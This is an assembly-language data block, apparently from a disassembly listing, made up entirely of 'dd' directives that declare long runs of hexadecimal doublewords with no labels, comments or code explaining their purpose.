		dd 1E0F033Bh, 0BEF34F60h, 0A0805B92h, 0E4D2FB11h, 70208A00h
		dd 0D84865CAh
		dd 0C0F62Ah, 0FE1CB9CEh, 3BD2E4B1h, 0F7257A00h,	0E898BB05h
		dd 0B58CA8D0h, 12285C81h, 2A9ED40Fh, 82631840h,	0B70765A2h
		dd 0F0B59D71h, 0A60BF610h, 0F2267D46h, 0C909009Fh, 37168EC6h
		dd 170A0290h, 0EC3A0497h, 6A2E9600h, 12EE88h, 2CC0054Fh
		dd 34D20EE9h, 27552A1Fh, 1C88A1C0h, 78E78A32h, 710A00BBh
		dd 5ECD2B3Bh, 757E548Bh, 4B30E990h, 0DBE9A8E1h,	493703E6h
		dd 2A7D4AFCh, 444B14F2h, 298576A0h, 30132824h, 8A18F802h
		dd 0D9CC4096h, 7505095Bh, 6CAEECF2h, 2DE1914Eh,	70298D17h
		dd 0F300952Bh, 1E3527C4h, 7EE0D8h, 0E81C56B0h, 776090CFh
		dd 46DCB11Eh, 0EA44E607h, 1F1611D0h, 4DEF0004h,	6CF42548h
		dd 51753CD7h, 2F30A90Fh, 76A380FEh, 0ABEF31h, 0B15FF975h
		dd 147BCEEAh, 2FAF8216h, 19CC8800h, 164AB9Fh, 85DFFAEFh
		dd 0E8ED978Eh, 0E200B045h, 0FF552B1h, 3621081Dh, 8060F399h
		dd 862E9000h, 7D65C7F9h, 4621FBAh, 0B3D98052h, 0AC0A287h
		dd 80E6B800h, 0ACCD98C9h, 2C98F2h, 9CD61914h, 1871CC1Bh
		dd 79B8D200h, 0FFCB7606h, 14FD0783h, 60A8D95Dh,	0B24A4CB0h
		dd 9CAA6E01h, 368B774Bh, 0E19EA451h, 58C0C6DCh,	0D407E612h
		dd 0D273646Ch, 0E660AAE8h, 0F2012A76h, 0FC0B7719h, 68DC1CE9h
		dd 0B55E2651h, 485F0093h, 29FDA2D5h, 330AC48h, 0FCEB0C2Eh
		dd 31DCA0AFh, 638C0088h, 0E7A97EAAh, 0F900DAE9h, 1F78B957h
		dd 9B4756Fh, 3DBD4F16h,	150E3C00h, 5300541Dh, 0E83E76D6h
		dd 21306Bh, 0C4C86858h,	3637D507h, 0D0105760h, 23BEB7h
		dd 8E2DDEF9h, 27B9C0E7h, 0FEE04100h, 9724DEBh, 92983DDDh
		dd 6A7E12h, 1D02544h, 51037FE9h, 18C09314h, 7DE8B0E5h
		dd 3B732CEFh, 4A05BA9Ch, 0C031DB17h, 0BEDAA51Ah, 61EB3A1Eh
		dd 4BF5A9C0h, 4B7543Bh,	37445FADh, 850D069h, 0F907CD80h
		dd 288AE92Fh, 0EFA3D280h, 0AAFB50D8h, 38AB1F6Dh, 0E7A60079h
		dd 68C0FE1Bh, 0D10B7800h, 3FB0B35Fh, 6494A190h,	0D1060h
		dd 0EB54DB6Dh, 129C970Eh, 91A7D801h, 275E9428h,	2D9960h
		dd 60521A03h, 0E75F9DFh, 0CF5DD100h, 0C91F862Fh, 41AB00D5h
		dd 5E97CBDAh, 0E70E4237h, 80D14C87h, 3A195149h,	726300B2h
		dd 1C352E66h, 59065D1Bh, 2756B4Dh, 0A1960048h, 82BA7C36h
		dd 8F0034CDh, 8EBE695Bh, 13A41F1h, 28540232h, 0D87316EAh
		dd 4E3F7C31h, 40498EBCh, 17BDE018h, 0E415E07Bh,	50620067h
		dd 0C6B3235Dh, 0A028DDCh, 6D7CAEF4h, 32504863h,	1CFA0074h
		dd 37E49766h, 8C0020D5h, 0B38AB8F3h, 5877072Ah,	95121446h
		dd 38A01AAh, 606CFB61h,	0D20014F4h, 6E0D6079h, 0C3AAB353h
		dd 0A7DEA37Eh, 7174D084h, 0F8A85FF6h, 6B009804h, 78020FC0h
		dd 7C4D4007h, 0A9E41E94h, 32BF2660h, 0A402F111h, 5F5920FDh
		dd 4B009AF6h, 96E373AFh, 608E076Bh, 1E4588Ch, 5F4ABC60h
		dd 0F5DDB9B0h, 3E6C874h, 0D709757Ah, 589EA5BEh,	0A1DD1914h
		dd 0DD40B50h, 0FD388509h, 21C45400h, 0D23473h, 5A747961h
		dd 1B91F962h, 5D805060h, 99D5A9h, 14C6193Bh, 0E686B209h
		dd 0BB934E03h, 0AC52C74Ah, 15383700h, 2094E5FCh, 9D10FDF1h
		dd 55079974h, 0AF6B8E3Bh, 3E98AE60h, 0D1900F94h, 2D43789Fh
		dd 9DE0BC34h, 0C600EC9Bh, 7793FE67h, 0EE1D30h, 956290BFh
		dd 0D36C0220h, 8DD6520h, 0FC4D873Dh, 18C21460h,	36AFEE6h
		dd 0A0716E60h, 0C891B772h, 5DD704Dh, 1286B001h,	0BED53C23h
		dd 0CC83C4h, 0F828B7FAh, 93C9C3DAh, 0F5953E12h,	0E740FC01h
		dd 0ACF04DA9h, 1EAF00FEh, 3D5FBA87h, 7587933h, 0D2CD0004h
		dd 0B45D1AFCh, 4857537h, 7F120DF8h, 4AACC396h, 0D5982C98h
		dd 2471DA01h, 798D9485h, 76CFFD60h, 20FA7710h, 75074B01h
		dd 71509B17h, 5FCE4780h, 445702BEh, 6BACA531h, 0BF2E48E0h
		dd 68081F03h, 0D801CBEBh, 1A1B9Eh, 0D7770F0Dh, 0E52994F9h
		dd 2E7CC8A8h, 61506000h, 0F497E881h, 9890EAD0h,	87480088h
		dd 38203CF3h, 62EA6E02h, 4661BE07h, 0C5DE0F77h,	0F4818D55h
		dd 51809236h, 215F0D79h, 5760A376h, 24013C90h, 119C6075h
		dd 6D1AFA3Dh, 78E8D248h, 0F11D1600h, 0FEB5CAADh, 0BECE004Ah
		dd 3EF22213h, 0C50031BAh, 41301525h, 12FF1D6h, 740B92CAh
		dd 308B0E06h, 703E9787h, 8F2A04C2h, 57803E29h, 0F0854921h
		dd 0AE5004Bh, 0C3FA6764h, 75004432h, 0F7CFD505h, 1CF076h
		dd 15A859F6h, 0C1E694F4h, 80288F39h, 727B03F2h,	78F149E0h
		dd 587018Dh, 958536B2h,	317D30A8h, 9A0C8600h, 0A5D91777h
		dd 7B7703Eh, 83576C2Fh,	56FCE072h, 0F800AE79h, 3A7CB008h
		dd 0ED411ECh, 0E862574Eh, 5EF737A0h, 0F11647B8h, 0A60040C7h
		dd 0D146B1F6h, 2654062Bh, 80F4CDA7h, 9279803h, 0BBB83F34h
		dd 0D46BA8D3h, 922F3EA5h, 7EAC00CAh, 0A47D1B47h, 0BB190A07h
		dd 0A986A91h, 80485439h, 6185AD87h, 9600D60Dh, 66F4D4DCh
		dd 9BBB94Ah, 44162073h,	672284A0h, 7E00AB4Eh, 0FE61D45Bh
		dd 0A4D70Fh, 0DBA4612h,	0DFD0E1B7h, 0AE02A673h,	8F170578h
		dd 0E85049h, 0A7530A4Eh, 443DAD67h, 645C2C92h, 17A800C0h
		dd 18851B2Ch, 3D7E035Ah, 1570D9FCh, 0D12B66D0h,	7C57F624h
		dd 3CD24480h, 84734h, 0DCEE5293h, 358320A0h, 2A0D4Ah, 413F4813h
		dd 6B162B40h, 0D612D852h, 0B63ED400h, 57D7C18Fh, 0F830046h
		dd 0D57FA87Dh, 8613AF8Bh, 571E2381h, 59C0AA87h,	0BA670510h
		dd 0E77B00C8h, 8876F3Dh, 0CC0B920Fh, 384D5Ah, 0E3E8B4EAh
		dd 462A0193h, 86FBCF2Ch, 5A20ECDAh, 966A061Dh, 61CC9881h
		dd 3DC8056Dh, 95ED0F9Eh, 409D54DCh, 3E782F59h, 92123AD2h
		dd 1F0030AAh, 710AFD26h, 0FEE9024Fh, 0E8120595h, 0C832B2E0h
		dd 0DA4D5D00h, 0D99DF50h, 0BBF30E71h, 33E0BC97h, 9316F251h
		dd 8ACCBD54h, 9000157Ch, 84A18C7h, 611ED8h, 1F51E210h
		dd 20D1EE64h, 0D201C5EEh, 0BA248337h, 64304A68h, 60F30FF9h
		dd 5F8EB952h, 74B116C3h, 9CCBBFE0h, 3A9D0200h, 210E2C8Dh
		dd 8398007Eh, 0D6441BF2h, 0C1248B6Ah, 0BB483Dh,	0B01CB39Eh
		dd 17C33001h, 28D59286h, 6060CED8h, 9A6178D4h, 0AD9401A7h
		dd 9ED6F063h, 73E0F486h, 8800C4B8h, 7B36614h, 2E62E1A3h
		dd 87D01591h, 0C6F91730h, 6B017928h, 6576E3BEh,	1824DA55h
		dd 0ADBF2569h, 280D8080h, 0FEFC956Eh, 6F2A7800h, 426DA21Bh
		dd 6BD00085h, 712760D9h, 0CC00BED8h, 6398BF2Ah,	29416B7h
		dd 0EABC2F85h, 0CB805C70h, 3A130A65h, 0C908D407h, 0B5A0423Bh
		dd 1F54ECE0h, 0C003EF21h, 0B2248E7Ah, 0DF77869Bh, 3900D2F8h
		dd 0B9A24840h, 1E615DD3h, 42E530FDh, 0AD98A9D9h, 0AB3D1240h
		dd 38E47A00h, 899D895h,	0A49D002Ch, 4B5D474h, 0EB00B018h
		dd 0D64E633Eh, 0E84F3Bh, 0C9679350h, 0E0C38BAEh, 4142642Ch
		dd 0C2D54002h, 0F4CC70AAh, 0D04316EFh, 0E8420663h, 61F230C8h
		dd 0B70AE300h, 0F5F3602Bh, 9CAA0096h, 53B8FD12h, 1A703670h
		dd 39000EF8h, 5F07D3F6h, 0A501582h, 89A6D280h, 945D00B6h
		dd 19F1FB71h, 0C4F77702h, 607E1C34h, 0F8435CAh,	6C8FB1F3h
		dd 0C1E90C0h, 97FC58A9h, 0C838B20Eh, 31FB8070h,	268F89h
		dd 0B89AE3A6h, 0E8BEF084h, 0D0663301h, 0D6C9ED4Fh, 0C0C80CFDh
		dd 0CAC800E5h, 0F9214659h, 99003A5Ah, 86CF5479h, 75F7BDDCh
		dd 9116005Dh, 0C2CEAB1Ah, 0E400BAD4h, 0A2312568h, 2634D8h
		dd 0DEFA754Bh
		dd 4CA578B2h, 2CC3801h,	0AADB4A46h, 1300A869h, 620C39EEh
		dd 16146C3Ah, 947A86h, 74418CEDh, 601ADEh, 32730C0Eh, 0B0E34DE4h
		dd 18C264Ch, 7FBF7895h,	0A4D414FCh, 202B3D13h, 44E5592h
		dd 0C4361610h, 0C4E48C98h, 880AC05h, 74C07D13h,	831530h
		dd 0B07F4CF6h, 36AC7195h, 80416D25h, 0D0BA9388h, 0D57C0061h
		dd 266E4A09h, 3E506CC1h, 0C92EBC10h, 0DF81D861h, 0E541DD90h
		dd 0A4D0886h, 98F01844h, 0FFECDEF8h, 25F2400h, 854EDC0Ch
		dd 9BF61D28h, 5C550041h, 0E6B36CA8h, 0BC60A900h, 8580621Fh
		dd 6A51CF5Fh, 1722FC20h, 260A6D02h, 543D6CBCh, 7C621C82h
		dd 0DD50375h, 5C5350A2h, 72B83D00h, 1DF58D2h, 0B12DE1BBh
		dd 0C068711Dh, 0C500D901h, 4645BF20h, 0EE3DBCh,	0E2786656h
		dd 55C20949h, 71B6AAA3h, 0DA3C1900h, 61ADD3EAh,	67C13004h
		dd 2BE91E69h, 66EC701Fh, 0C11BE0Ah, 75D99F82h, 31150468h
		dd 0F908C633h, 4B08E542h, 0FD916EA9h, 2E30E606h, 921D30D8h
		dd 1620E2A6h, 4074455Dh, 6669085Ch, 220C981Ch, 2094DEA5h
		dd 0B5BA00DBh, 0BE05A4E2h, 38C3EDA6h, 0A4CB2BDCh, 63684F40h
		dd 363C223Bh, 79AC1E8Ah, 700FEB1Eh, 557099E9h, 0E046AB11h
		dd 8A18EE8h, 56DBE045h,	2420E389h, 7E5507AFh, 22E6D495h
		dd 0A478EA84h, 7F10E80Ch, 540BC8EBh, 136AC40h, 0A2414CC6h
		dd 2C073E2Eh, 4FFF0044h, 55813276h, 0A0F6000Dh,	877E333Fh
		dd 8A3866F8h, 8635B843h, 0C57DFA12h, 78EE0CF0h,	9060D7A1h
		dd 30E2F905h, 0A800A43Ah, 0FCFD0DD4h, 7605F487h, 94170056h
		dd 33CDCB75h, 9E3FD26Dh, 0AEB80FC1h, 0AAE20734h, 3F70B160h
		dd 0AF810F78h, 9A815CA9h, 0C091EC7Ah, 0B033F225h, 0A8E51894h
		dd 3010E43Ah, 1D80C74Bh, 271D23F7h, 16C5A180h, 0E404E776h
		dd 14803E82h, 2FFD112h,	6236D50Eh, 0E4A25BE9h, 0A0D8A99Ah
		dd 0E1B05902h, 0C069B4F5h, 35CA0Ah, 19ABE89h, 784DB19h
		dd 72002892h, 31C802BDh, 0A0BCAh, 2D7B9056h, 0DD2EBF18h
		dd 4759800h, 4B455CAAh,	0E6D20039h, 9D861DBh, 0C07692Fh
		dd 49F7C454h, 27359DF0h, 1DEC982Bh, 9BC07Dh, 0C5DA8104h
		dd 11CA48D1h, 0E2DD0449h, 54E3988Bh, 317AECE0h,	0A60E0D01h
		dd 48DB5FE0h, 3FDC4E4h,	0A55BE358h, 2808D8ACh, 100A0913h
		dd 0AE0C930Ch, 44B12857h, 86443BABh, 3D5C44F8h,	50597020h
		dd 652528FDh, 0EE4794Ah, 51881D14h, 88AD0908h, 0D0915019h
		dd 1CA53800h, 1D03B423h, 0A9089709h, 16D28049h,	0EB8EB5Dh
		dd 90BF44F6h, 2C20C64Eh, 6E89A7Fh, 0C5C7FF00h, 711BE1DDh
		dd 0C22E00CDh, 0ABAFE0F8h, 0B3013E19h, 7B371D57h, 3AE49A32h
		dd 0F661004Ch, 0E464A1B8h, 76000DBBh, 0B2C1C92Ch, 0D3596Ah
		dd 7834D6F3h, 45C64823h, 424DE300h, 82AFE677h, 179F01FEh
		dd 4A61F022h, 0E2C8FBA4h, 0D200CAFFh, 12F8F998h, 0AB9AA6h
		dd 67A8D848h, 791B73D7h, 192C2254h, 3DF38709h, 2C7E809Ch
		dd 6013A333h, 0EA8E2A5Bh, 3E61030h, 0A2AFA5Ch, 0F406D175h
		dd 4ECC560Eh, 1462060h,	6E85A8h, 5A8BD557h, 175CF563h
		dd 2FF91D2Eh, 0EDB1E501h, 5681F359h, 0FDCAE189h, 0C453C895h
		dd 0FBD5CC00h, 0E2F1391Fh, 2C78C02Fh, 2235B731h, 52611500h
		dd 0D1558C11h, 340E4889h, 0ABD4300Eh, 0EC129D00h, 14008AB1h
		dd 68FEE14Ch, 7148BBF7h, 8CEF00A8h, 0E921581h, 7B1CF2F0h
		dd 9F008096h, 1650338h,	6DEF0023h, 0B1F8B386h, 0EC0567D5h
		dd 0B2712E6Ch, 2620C5C0h, 0B945001Ch, 0FFF3EA15h, 0E900C575h
		dd 1431DB4h, 1FD66FCh, 0C662CDDAh, 0C44B3465h, 0AA008961h
		dd 70F82E51h, 6BFF12h, 0A2D86D0Bh, 8CFC6A0Ch, 94D4C912h
		dd 2F2C9400h, 3D42161Ch, 33005A4Dh, 6D051F7Dh, 12001122h
		dd 4F297774h, 0EDD3ECh,	7B0A04B4h, 0F01F9FD6h, 0A5145100h
		dd 0DD43917Ah, 0A04E1482h, 0A901975Eh, 0C05C7473h, 968C842h
		dd 84BD000h, 8DB390D1h,	6C8C007Eh, 586DB0E2h, 0A006728Eh
		dd 5B96F57Fh, 10630090h, 298A6EF9h, 3C7C3E01h, 0F4397407h
		dd 41DE9A92h, 0FD6BE459h, 0D63060h, 8BC18F7Ch, 1154CD55h
		dd 0D70CD4A0h, 0E50A1700h, 2D45E928h, 374E00D2h, 4826CF6Dh
		dd 92002BB6h, 5DBBA306h, 2FFBE4h, 0EBF28DC9h, 38A42749h
		dd 3D51D500h, 3ED246BDh, 77DEC620h, 630E9019h, 4036A70Bh
		dd 75AABACFh, 0FB41004Ah, 0E10DB63Eh, 4C900E07h, 1EC55C0Fh
		dd 0A55E03DBh, 8334D0C0h, 7E970035h, 0C4BFFBB5h, 84001118h
		dd 52A3DF72h, 1624587h,	6E59EEEDh, 200A8F73h, 1075D37Ch
		dd 949AB400h, 3D5C641h,	33A000CEh, 3997A67Ah, 1158A805h
		dd 78F70014h, 0F97E9AF0h, 137DCAh, 0CF29BFC1h, 0D6FA35B3h
		dd 27B72400h, 1D15FE6Ah, 0D7872C5Bh, 1F60306Bh,	0D100F2F5h
		dd 4838C7F0h, 3C45D34Ah, 0B3002D4Fh, 44280DEBh,	290076ADh
		dd 0DF548C21h, 0F9E3539h, 1A694B7h, 0C467ABA0h,	961EB385h
		dd 0B2EC6FDCh, 0CCBF8F00h, 0B67207h, 6193A8C2h,	0AE42B775h
		dd 0DCA8E00h, 62630941h, 0C6AB1E0Fh, 596B8169h,	0C8CDE5AAh
		dd 0E00DADCh, 0D3F8633Eh, 1EF3E3A6h, 8015D9D1h,	0A7CE5E17h
		dd 0F50BFEA2h, 80597382h, 0F1432543h, 0DE120124h, 764C71F4h
		dd 48020D1h, 0C5EE840Ah, 4513B00Ch, 447F2C00h, 0A0F363E4h
		dd 0A4191F0h, 0E548B22Eh, 0B7C400AEh, 588E1CAFh, 0BEE84500h
		dd 9A79B00Fh, 0CD9C0582h, 10605944h, 750090A1h,	7050F09Eh
		dd 25008AB3h, 1B8F2F78h, 0E02ABEEh, 4E987EA6h, 39CA6BE1h
		dd 0B698FFCEh, 0BD00D8B1h, 0F7E54631h, 0D1FC63h, 4C4DDE66h
		dd 989FA74h, 0FF22CE00h, 419C644Bh, 0E4FECCh, 0ED0D0782h
		dd 0D6EF2F2Dh, 6E10A700h, 0B3316C85h, 4C9B0081h, 257A0224h
		dd 3701E113h, 9247C03Bh, 72D8D448h, 536600D8h, 77A6EE9Fh
		dd 390785D0h, 0CEF77C50h, 6FBA9CE0h, 28356063h,	2C84B1AEh
		dd 4D156807h, 6EE0E058h, 1E5C553Eh, 349BCA0h, 61FB1882h
		dd 38D046C3h, 0F007C59h, 36C6D831h, 7F64860Dh, 8876C7D2h
		dd 15F920DFh, 0D01D6735h, 2CC09251h, 0AD7AA6BEh, 1EB30732h
		dd 513344D4h, 80E8566Bh, 92BF2288h, 671A4Fh, 11C2CCBAh
		dd 2168C3CEh, 600C4E4h,	0F26B12AAh, 9C0740h, 5220D966h
		dd 0D0E6608Dh, 92DF5800h, 0F6C26983h, 113100E7h, 67C656D7h
		dd 0D4F0660Eh, 0BB768D01h, 9A1C9214h, 2FD81C21h, 3E57009Ch
		dd 0BCD5E0A2h, 0DC009B2Ah, 0DAB34394h, 0ED8D2C4Bh, 7111EECh
		dd 0F4E76145h, 7894E0FCh, 50006834h, 5BD1BDFAh,	1F7954h
		dd 5AE8032Ch, 0A444D8E3h, 0E664807h, 9B70B0C9h,	0F7ADF0h
		dd 734F8C4Bh, 38C4EE30h, 0CBDC2700h, 43C9024Ah,	641348FDh
		dd 0A10A3700h, 0F4B666A8h, 0FF3B5400h, 2E2FE399h, 405307AAh
		dd 67A5A401h, 553370B6h, 3D07728Ch, 6C90A9D6h, 44739780h
		dd 9B9D5041h, 0F8232608h, 7F810214h, 0AC661233h, 0FB56E601h
		dd 3B0714DAh, 82C70h, 0B43A5AF2h, 0CBB0EE2h, 3188BF01h
		dd 0A7F51B72h, 1994DDCh, 47710274h, 20E37BEFh, 290063A8h
		dd 0C5C158C8h, 0F0590Fh, 0E580A0DFh, 7AA825C7h,	33326A01h
		dd 2F46AAE8h, 93A1E0E2h, 0A1470F14h, 0B82D996h,	0C26002E6h
		dd 6400C301h, 8DEFC6D4h, 0A09125h, 84F874B8h, 68239763h
		dd 8060D93Fh, 76B0481h,	1F176D6h, 13B9B4A8h, 0D08FB747h
		dd 0BC000B08h, 3988879Ah, 8D31ADh, 9ECE4AD7h, 0A13835A0h
		dd 0B2083D0Eh
		dd 28C960E5h, 81A40Fh, 0F9D3D9A6h, 0DD74C2E8h, 1BDF000h
		dd 8F794057h, 9767026Ch, 0E3B43DB5h, 862C2840h,	55F05101h
		dd 74CDAA69h, 7553DCh, 0AFA5C8ECh, 8505641Ah, 89B76D00h
		dd 69B29813h, 8CAD002Eh, 9B930ED0h, 0A93DBDB4h,	97390853h
		dd 503B80D4h, 87E49A3Fh, 0FA04D875h, 23475CE5h,	12E704A0h
		dd 4CE245Fh, 8119B578h,	0D490A7E1h, 0EB00D481h,	865691AFh
		dd 79FD959h, 0A13A8A89h, 0A4E1B021h, 810F47A9h,	0E0B95BBDh
		dd 846F865h, 0CC550090h, 0B7438501h, 1716F1C0h,	0CC037B15h
		dd 0DB3D06CDh, 381A828h, 0B2F00094h, 82A025B6h,	5F0BD490h
		dd 80E4B92Ah, 28C7A26Dh, 0EA1C2818h, 0F051A0DDh, 0A1E205h
		dd 4A44C587h, 3E1A96EEh, 793A6F09h, 744E35h, 0DAE0A641h
		dd 5B474FB1h, 3E63BB01h, 70CF594h, 4B48F4h, 8CCF2432h
		dd 5BE4019Bh, 85A8FC00h, 0FAF6BA08h, 0C8840069h, 0C9F8A23Dh
		dd 15C8360h, 7BDC00F9h,	0FC0DBB08h, 6A580078h, 0B135137Ah
		dd 0F1C007B6h, 9EFA3860h, 71F00028h, 0FF5E6F2Fh, 6D009CF5h
		dd 0B1845270h, 1918967h, 4C77E6BBh, 21B40294h, 0F7DCF8B8h
		dd 0EFAF2100h, 0C534AD54h, 0FFEE0072h, 0BF9AD060h, 300E2F4h
		dd 0AADE31E0h, 148B7A76h, 0D0F320D1h, 15C03700h, 3A5F171Eh
		dd 0B1686100h, 0F8DB6D0Fh, 7DE812A6h, 7EA0C0A9h, 70259937h
		dd 5708817Bh, 0FF72A2h,	0B3D49C99h, 8E44AD01h, 2BA7D001h
		dd 81CC5B6Eh, 0D480208Eh, 0C0C85E65h, 0EACF55F0h, 54AEDA00h
		dd 0A0C0BCC3h, 5BB50003h, 8169D170h, 9026069Ch,	0F1004438h
		dd 75443C63h, 15F30918h, 0E8600D26h, 0B300BA57h, 0E63E7854h
		dd 62104Ch, 88506BC7h, 0D5C517Dh, 0CCB028C0h, 1D9805Fh
		dd 2F4D2D05h, 0C4645B71h, 3010E18h, 17DF84E7h, 0CF8551Fh
		dd 38056216h, 9F10CB6Fh, 0C0DAD8F6h, 4B00FA09h,	0FBB8170Fh
		dd 0C27F2Ch, 1A0BD429h,	5F610A0Eh, 836C5D3Bh, 0A2552F5Eh
		dd 0BC501009h, 0F17776CEh, 0CCA4E750h, 4000A070h, 652B2DCBh
		dd 1AB06Dh, 8D0AF034h, 1E7C9D0Eh, 0B38FF900h, 4413DFFCh
		dd 35C90DBh, 4739904Bh,	0E5C83DADh, 2C00748Eh, 1AFF30FEh
		dd 0A01322FCh, 0EAF2B94h, 160BF577h, 48E5DA0Eh,	914408CCh
		dd 0D2EA4280h, 4A4614h,	0AF9C2004h, 9701822Fh, 7CB8C254h
		dd 0A080F312h, 20390800h, 0B138DA1h, 3DE30F6Fh,	11877C00h
		dd 0DBE59EB4h, 7F96E580h, 0B8864C00h, 3D1B57EFh, 0B5B600F1h
		dd 48B39128h, 0EA008CF0h, 83084B4Dh, 0FB69DFh, 772BDAEFh
		dd 0E63003ABh, 80317C3Dh, 46B8229h, 15A955Fh, 1DB0CB33h
		dd 0CC9BBF9Eh, 200058C1h, 0AFFE5CC2h, 33929816h, 0A5B80FC4h
		dd 9F717088h, 80C09A53h, 33B0A4E9h, 0A7560050h,	6BFE8723h
		dd 9F1DFFC5h, 0F31D0F3Eh, 834A7445h, 0A068844Ah, 0A6E75B04h
		dd 7A78090h, 49F0B8F8h,	5A009080h, 4B0FCC50h, 881F5651h
		dd 9B00B1BEh, 0AF9FFB19h, 1FB24F8Bh, 4176C04Ch,	2FB84D65h
		dd 0B4390224h, 61CE87E0h, 1C492C4h, 26673758h, 24478E96h
		dd 3C09B6A8h, 0A2EF0650h, 809AD120h, 391E8BF4h,	844B000Dh
		dd 0FA72281Dh, 0BB06A345h, 0F177997Fh, 0AD5F0030h, 0B70825FBh
		dd 4300FC59h, 0B2A4BDD4h, 6017EA9Dh, 6FC988DFh,	47F637B3h
		dd 75B8BF5Ch, 23246D00h, 0D482E6D0h, 69730EF0h,	0D14E3DF9h
		dd 805F96CBh, 0DB62F69h, 7D2B3F18h, 276D0B80h, 62606328h
		dd 0AA018800h, 35C1A7E2h, 121D0096h, 490F10B8h,	0C2300C0Dh
		dd 0A587F83Eh, 216400E4h, 6318B544h, 4F00A693h,	107E82FAh
		dd 368197h, 6A1978A8h, 7B2CF945h, 8BF60F17h, 69C62C07h
		dd 0E0940BB0h, 31C40053h, 25E5A8E2h, 4C1D70A9h,	0B0687E27h
		dd 123B139h, 93B749EAh,	0F0408203h, 7E365C9h, 69417011h
		dd 4B6E80BAh, 5B003C3Dh, 42626AE2h, 0E0C4084Ah,	609C82h
		dd 73CAE096h, 0FF03B89Ch, 0CD7724D4h, 5E801D0Ch, 40CF4487h
		dd 1C4E05F6h, 38CCF041h, 0A940C17Bh, 58E3B7FBh,	0E70B18CFh
		dd 0A180BE49h, 2B608C26h, 320FA000h, 21D9E3Eh, 379200DBh
		dd 3DF8529h, 0B0013DB1h, 5AD2B2FFh, 71FC8B76h, 50EAFC08h
		dd 98C854h, 14F939D8h, 0A905F1C5h, 6AA7C000h, 575A2443h
		dd 0DA7C263Ah, 952C34h,	0EF0A863h, 3E0023FBh, 29777E92h
		dd 9165BFF3h, 2D813958h, 8F6856FCh, 0C989D4EEh,	9700B2F8h
		dd 0A88D0D8Bh, 1CE5DE64h, 41A549Eh, 800837D2h, 2DE4EFA8h
		dd 0CE007F76h, 7DF0AC4Ch, 7420973h, 55ABC9A7h, 0DD7B9059h
		dd 4C01A2AEh, 98CAE32Dh, 0C360C17Ch, 57EE002Fh,	0AB67D5Ch
		dd 6C2C43D8h, 0D90190F2h, 0AA710D16h, 51F4CEE1h, 5499001Eh
		dd 8794E04Ah, 0EE01C80Eh, 0E6436C50h, 0BC60B617h, 0B8690789h
		dd 0D31A6B95h, 6C809E2h, 23000734h, 0D1D4338Ch,	33A1140h
		dd 7F971E63h, 0D580A529h, 0F500A00Bh, 0B81F7EFDh, 4C4BC960h
		dd 5E1E0EADh, 3C668EB9h, 0B02F1580h, 0E3027881h, 5048B4C9h
		dd 6D716033h, 38CE004Ah, 0F2318E1Ch, 0DE03A6EEh, 1E5C6E6Fh
		dd 0DD180036h, 0FB92034Ah, 0AA0037F8h, 380D30E9h, 2783BEh
		dd 0BF113671h, 0F186DCCBh, 3320E00Fh, 0EC32E02Ah, 0A06AD489h
		dd 1236C4C2h, 0F0480E99h, 0B81E61BEh, 0CF47AA50h, 40EEF0C3h
		dd 986869B3h, 0CBDC008Dh, 41AD6E49h, 53983E9Dh,	80C75C1Fh
		dd 0BD33D1C0h, 2CCC13Ch, 63DB8315h, 0F760AB48h,	0E200FB73h
		dd 0A6D3A8DFh, 3AC29C42h, 0F5E9FAAh, 0D4AB7738h, 666EC4A1h
		dd 0DF86D0A7h, 96021E75h, 0FA3F936h, 24E458h, 227697C4h
		dd 5D7A7278h, 0EAC50D3h, 148A1F02h, 5868713Ah, 44004605h
		dd 90B0C345h, 290918h, 3724801Eh, 0FE2DB47Ch, 0DD009EECh
		dd 87E76922h, 0EFDCAD1h, 0EB0E5D55h, 6709CBA9h,	0F9750020h
		dd 0CA076A07h, 4923C503h, 4E8B0CC0h, 89E70A61h,	3CEF9037h
		dd 149CD213h, 92C0E460h, 4FB92A5Ah, 1E203Fh, 0D0E24DE7h
		dd 0FCF1C6CBh, 1BCE018Ah, 0D95189E5h, 0A7543004h, 8066763Eh
		dd 0B68FFE6Ch, 4874C853h, 11C0075h, 0ED0900DAh,	9AE4433Dh
		dd 95724000h, 3B4E499Fh, 49FCB223h, 0D7097CE6h,	0E493627Ah
		dd 0D0FF6D93h, 0CC65A5C8h, 0A1BAF500h, 84F47EE1h, 0E5313061h
		dd 99EAC680h, 233EC800h, 5C1D2936h, 0B20E1D40h,	59883006h
		dd 0AA1839FAh, 63103FDAh, 28B0720Bh, 2DFC66FDh,	0C880EBACh
		dd 2FCFC0C9h, 63E13812h, 0B50FA700h, 367E85Ah, 0D9F9174Ah
		dd 6203BEF7h, 3DFFDD4Bh, 561AC81Eh, 0C27B2E61h,	0C0F81812h
		dd 0B61775C3h, 7F0086BFh, 0DECFFB44h, 4B310F4Ah, 0E98DDA14h
		dd 0EA78D828h, 23644E07h, 9E0030C6h, 17D405h, 21B3954h
		dd 1EA70637h, 6012111Ch, 9A838D80h, 1F21CB5Ah, 404DF108h
		dd 0D556DB0Ah, 0DD70F2F5h, 8F1E7A0Bh, 12E200D1h, 55BBA82h
		dd 2BDFA9FFh, 6D2CB0B4h, 1797E800h, 0A2A1ED88h,	92D00734h
		dd 70C10520h, 8A3D7427h, 0D5C4122Eh, 85A70201h,	22E8B2F8h
		dd 0FF0F003h, 0C1A4DF72h, 0EC9A6500h, 1A002690h, 0F5A4F3Eh
		dd 0D07837h, 0DA2B035Fh, 0BF98366Fh, 0A4646624h, 6705AB97h
		dd 8402E002h, 4076DF0Eh, 2C0827D5h, 64701282h, 0B950C045h
		dd 83004125h, 98811B61h, 98A03CD7h, 0D6B50009h,	0FD6BDF19h
		dd 991616EEh, 4503C1DBh, 0E5301755h, 0B6E1F404h, 12AED47h
		dd 707A2FFEh, 0C503728Dh, 93306B4Eh, 67E5B833h,	0D7D81650h
		dd 2B9401B4h, 40A42CF7h, 49550ACBh, 0F06F0600h,	69EF5DD8h
		dd 299007C9h, 30A2DDC6h
		dd 38E3E913h, 0CD18147Fh, 4CE01235h, 55480E2Bh,	0C620423Ah
		dd 0D9D1D6E4h, 80AD7C3Fh, 206AF36h, 220F7F9h, 0E3BC0877h
		dd 9CE1D6DBh, 0CC58FA24h, 99854C00h, 3E218D04h,	2C9D1D57h
		dd 0C819971Dh, 57E3F14h, 0C60066EAh, 4494031Eh,	1EE2DABCh
		dd 7A96D379h, 0F08A0600h, 0EE7D898Ch, 8D2958E2h, 4301900Dh
		dd 28A4E4BEh, 156E5CCh,	0CFDDB344h, 0E4574B0Eh,	0AE2FF6A6h
		dd 0C3D001h, 0D5688188h, 0AA43F5DBh, 0F9D3D100h, 0AD1BA2DEh
